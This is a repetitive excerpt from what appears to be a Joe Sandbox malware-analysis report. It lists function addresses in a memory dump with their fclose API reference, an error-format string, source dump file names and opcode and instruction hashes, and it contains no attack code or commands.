Instruction ID: dc7d4dfd4cc08a35ce0c2a2562b5015f6cad2942657c40724d950c44c6ab1ab1
Opcode Fuzzy Hash: 55810baa1d20f1e5c1a0b1440629255b865e57286b9525177a27e918bacad5d4
Instruction Fuzzy Hash: B5215EB2A0CA8281FB268F22FC502696360FB4AB94B144131EA5DC7AB8DF7CDD55C700

Function 00007FF7AABD536E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction ID: 72772b8673c10ed9cafe45aad5980bdd99ba1260919da5cd69bf31edb99e793b
Opcode Fuzzy Hash: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction Fuzzy Hash: 53F03023B0B106C2F963AA04B4417B995522F55378E8B0AB58D480A6F1AE3EA8878320

Function 00007FF7AABD5382 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction ID: 54bd699ae22562beec09e08ef17eb5b5a256da3638fa963e94642d4215f613aa
Opcode Fuzzy Hash: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction Fuzzy Hash: 51F03023A0B106C2F963AA04B4417B995521F55378E8B0AB58D490A6F1AE3EA8878320

Function 00007FF7AABD5378 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction ID: 030b448e08b1d9aa3eefe5524eabd899fdb9b589966e13d600e2de4ca03caef2
Opcode Fuzzy Hash: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction Fuzzy Hash: BCF05433B0B207C2F963BB04B4417B995521F55379E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FF7AABD5396 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction ID: c0a2e7e7b9d2896269db39d0b3f7c6517c3bc0fcd08a69a2047652da24dbc3c2
Opcode Fuzzy Hash: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction Fuzzy Hash: EEF05433B0B107C2F963BB04B4417B995521F55378E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FF7AABD538C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction ID: b51046235e59f39a8a5d9966367ab339c36a50904b4f04dbb66a8eb97c82f662
Opcode Fuzzy Hash: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction Fuzzy Hash: D1F03023A0B106C2F963AA04B4417B995521F55378E8B0AB5CD490A6F1AE3EA8878320

Function 00007FF7AABD5505 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ff99df98ac40d678d4600e7361d83eba45d24b9d8da5072bcfe5feb04d693132
Instruction ID: 98d7d57c4263d53081a7936a905f9c672a45915a92f2f87a3917f44ba7434e07
Opcode Fuzzy Hash: ff99df98ac40d678d4600e7361d83eba45d24b9d8da5072bcfe5feb04d693132
Instruction Fuzzy Hash: A5F05433B0B107C2F963BB04B4417B995521F55378E8B0AB5CD490E6F1AE3EA9C78320

Function 00007FF7AABD54FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ff99df98ac40d678d4600e7361d83eba45d24b9d8da5072bcfe5feb04d693132
Instruction ID: 98d7d57c4263d53081a7936a905f9c672a45915a92f2f87a3917f44ba7434e07
Opcode Fuzzy Hash: ff99df98ac40d678d4600e7361d83eba45d24b9d8da5072bcfe5feb04d693132
Instruction Fuzzy Hash: A5F05433B0B107C2F963BB04B4417B995521F55378E8B0AB5CD490E6F1AE3EA9C78320

Function 00007FF7AABD550C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: ff99df98ac40d678d4600e7361d83eba45d24b9d8da5072bcfe5feb04d693132
Instruction ID: 98d7d57c4263d53081a7936a905f9c672a45915a92f2f87a3917f44ba7434e07
Opcode Fuzzy Hash: ff99df98ac40d678d4600e7361d83eba45d24b9d8da5072bcfe5feb04d693132
Instruction Fuzzy Hash: A5F05433B0B107C2F963BB04B4417B995521F55378E8B0AB5CD490E6F1AE3EA9C78320

Function 00007FF7AABD51A2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction ID: 030b448e08b1d9aa3eefe5524eabd899fdb9b589966e13d600e2de4ca03caef2
Opcode Fuzzy Hash: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction Fuzzy Hash: BCF05433B0B207C2F963BB04B4417B995521F55379E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FF7AABD5198 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction ID: 72772b8673c10ed9cafe45aad5980bdd99ba1260919da5cd69bf31edb99e793b
Opcode Fuzzy Hash: cb44c17b4e47c61bceb64ef853c57834eac4735260689cd32846fd4a7b3e6c0b
Instruction Fuzzy Hash: 53F03023B0B106C2F963AA04B4417B995522F55378E8B0AB58D480A6F1AE3EA8878320

Function 00007FF7AABD51B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction ID: b51046235e59f39a8a5d9966367ab339c36a50904b4f04dbb66a8eb97c82f662
Opcode Fuzzy Hash: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction Fuzzy Hash: D1F03023A0B106C2F963AA04B4417B995521F55378E8B0AB5CD490A6F1AE3EA8878320

Function 00007FF7AABD51AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction ID: 54bd699ae22562beec09e08ef17eb5b5a256da3638fa963e94642d4215f613aa
Opcode Fuzzy Hash: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction Fuzzy Hash: 51F03023A0B106C2F963AA04B4417B995521F55378E8B0AB58D490A6F1AE3EA8878320

Function 00007FF7AABD51C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction ID: c0a2e7e7b9d2896269db39d0b3f7c6517c3bc0fcd08a69a2047652da24dbc3c2
Opcode Fuzzy Hash: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction Fuzzy Hash: EEF05433B0B107C2F963BB04B4417B995521F55378E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FF7AABD5161 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction ID: 54bd699ae22562beec09e08ef17eb5b5a256da3638fa963e94642d4215f613aa
Opcode Fuzzy Hash: e46899573921c1e84c6f510f508363e14cb84ebdf7ad9e79a4d83c456136e3d4
Instruction Fuzzy Hash: 51F03023A0B106C2F963AA04B4417B995521F55378E8B0AB58D490A6F1AE3EA8878320

Function 00007FF7AABD5157 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction ID: 030b448e08b1d9aa3eefe5524eabd899fdb9b589966e13d600e2de4ca03caef2
Opcode Fuzzy Hash: 6a16524ac11222bf263ae38b72c6ef1abeee5a46696a02edfdfba4fb478cf8ca
Instruction Fuzzy Hash: BCF05433B0B207C2F963BB04B4417B995521F55379E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FF7AABD5175 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction ID: c0a2e7e7b9d2896269db39d0b3f7c6517c3bc0fcd08a69a2047652da24dbc3c2
Opcode Fuzzy Hash: b4472d493916910336c3a184dc5fe2b6a72edf1b18ce426c0d0c23c479426e80
Instruction Fuzzy Hash: EEF05433B0B107C2F963BB04B4417B995521F55378E8B0AB5CD490E6F1AE3EA8C78320

Function 00007FF7AABD516B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction ID: b51046235e59f39a8a5d9966367ab339c36a50904b4f04dbb66a8eb97c82f662
Opcode Fuzzy Hash: baac9c1114a98bed6eae314587cd68cb6fb42297a9dc9bc8ec8630a526df8742
Instruction Fuzzy Hash: D1F03023A0B106C2F963AA04B4417B995521F55378E8B0AB5CD490A6F1AE3EA8878320

Function 00007FF7AABD557B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF7AABD5520

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD555C
fs_file_read, xrefs: 00007FF7AABD5555

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
